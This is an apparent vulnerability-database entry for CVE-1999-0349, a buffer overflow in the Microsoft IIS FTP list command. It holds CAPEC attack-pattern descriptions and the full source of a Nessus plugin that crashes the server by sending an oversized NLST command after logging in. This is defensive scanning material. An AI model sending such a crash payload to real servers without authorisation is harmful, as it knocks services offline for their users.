Vulnerabilities > CVE-1999-0349 - Improper Restriction of Operations within the Bounds of a Memory Buffer vulnerability in Microsoft Internet Information Server 3.0/4.0

047910
CVSS 0.0 - NONE
Attack vector
UNKNOWN
Attack complexity
UNKNOWN
Privileges required
UNKNOWN
Confidentiality impact
UNKNOWN
Integrity impact
UNKNOWN
Availability impact
UNKNOWN
microsoft
CWE-119
nessus
NVD
Published: 1999-01-27
Updated: 2023-11-07

Summary

A buffer overflow in the FTP list (ls) command in IIS allows remote attackers to conduct a denial of service and, in some cases, execute arbitrary commands.

Vulnerable Configurations

Part Description Count
Application
Microsoft
2

Common Weakness Enumeration (CWE)

Common Attack Pattern Enumeration and Classification (CAPEC)

  • Buffer Overflow via Environment Variables
    This attack pattern involves causing a buffer overflow through manipulation of environment variables. Once the attacker finds that they can modify an environment variable, they may try to overflow associated buffers. This attack leverages implicit trust often placed in environment variables.
  • Overflow Buffers
    Buffer Overflow attacks target improper or missing bounds checking on buffer operations, typically triggered by input injected by an attacker. As a consequence, an attacker is able to write past the boundaries of allocated buffer regions in memory, causing a program crash or potentially redirection of execution as per the attackers' choice.
  • Client-side Injection-induced Buffer Overflow
    This type of attack exploits a buffer overflow vulnerability in targeted client software through injection of malicious content from a custom-built hostile service.
  • Filter Failure through Buffer Overflow
    In this attack, the idea is to cause an active filter to fail by causing an oversized transaction. An attacker may try to feed overly long input strings to the program in an attempt to overwhelm the filter (by causing a buffer overflow) and hoping that the filter does not fail securely (i.e. the user input is let into the system unfiltered).
  • MIME Conversion
    An attacker exploits a weakness in the MIME conversion routine to cause a buffer overflow and gain control over the mail server machine. The MIME system is designed to allow various different information formats to be interpreted and sent via e-mail. Attack points exist when data are converted to MIME compatible format and back.

Nessus

NASL familyFTP
NASL idIIS_FTP_CRASH.NASL
descriptionIt is possible to make the IIS FTP server close all the active connections by issuing a too long NLST command, which will make the server crash. An attacker can use this flaw to prevent people from downloading data from your FTP server.
last seen2020-06-01
modified2020-06-02
plugin id10118
published1999-06-22
reporterThis script is Copyright (C) 1999-2018 Tenable Network Security, Inc.
sourcehttps://www.tenable.com/plugins/nessus/10118
titleMicrosoft IIS FTP Server NLST Command Overflow DoS
code
#
# (C) Tenable Network Security, Inc.
#


include("compat.inc");

if(description)
{
 script_id(10118);
 script_version ("1.45");

 script_cve_id("CVE-1999-0349");
 script_bugtraq_id(192);
 script_xref(name:"MSKB", value:"188348");
 script_xref(name:"MSFT", value:"MS99-003");

 script_name(english:"Microsoft IIS FTP Server NLST Command Overflow DoS");

 script_set_attribute(attribute:"synopsis", value:
"The remote web server is affected by a denial of service 
vulnerability." );
 script_set_attribute(attribute:"description", value:
"It is possible to make the IIS FTP server close all the active 
connections by issuing a too long NLST command, which will make the
server crash. An attacker can use this flaw to prevent people from
downloading data from your FTP server." );
 script_set_attribute(attribute:"see_also", value:"https://docs.microsoft.com/en-us/security-updates/SecurityBulletins/1999/ms99-003" );
 script_set_attribute(attribute:"solution", value:
"Apply the patch referenced above." );
 script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:N/C:N/I:N/A:P");
 script_set_cvss_temporal_vector("CVSS2#E:U/RL:OF/RC:C");
 script_set_attribute(attribute:"exploitability_ease", value:"No known exploits are available");
 script_set_attribute(attribute:"exploit_available", value:"false");

 script_set_attribute(attribute:"plugin_publication_date", value: "1999/06/22");
 script_set_attribute(attribute:"vuln_publication_date", value: "1999/01/24");
 script_cvs_date("Date: 2018/11/15 20:50:22");

script_set_attribute(attribute:"plugin_type", value:"remote");
script_set_attribute(attribute:"cpe", value:"cpe:/a:microsoft:iis");
script_end_attributes();

 script_category(ACT_DENIAL);
 script_family(english:"FTP");
 script_copyright(english:"This script is Copyright (C) 1999-2018 Tenable Network Security, Inc.");
 script_dependencie("ftpserver_detect_type_nd_version.nasl", "ftp_anonymous.nasl");
 script_summary(english:"Crashes an IIS ftp server");
 script_require_ports("Services/ftp", 21);
 script_require_keys("ftp/login");
 exit(0);
}

#
# The script code starts here
#

include("global_settings.inc");
include('misc_func.inc');
include('ftp_func.inc');

login = get_kb_item_or_exit("ftp/login");
password = get_kb_item("ftp/password");

port = get_ftp_port(default: 21);

soc = open_sock_tcp(port);
if (! soc) exit(1);

 if(ftp_authenticate(socket:soc, user:login, pass:password))
 {
  port2 = ftp_pasv(socket:soc);
  if (!port2) exit(1);
  soc2 = open_sock_tcp(port2, transport:get_port_transport(port));
  command = strcat('NLST ', crap(320), '\r\n');
  send(socket:soc, data:command);
  close(soc2);
 }
 close(soc);
 
if (service_is_dead(port: port) > 0)
  security_warning(port);

References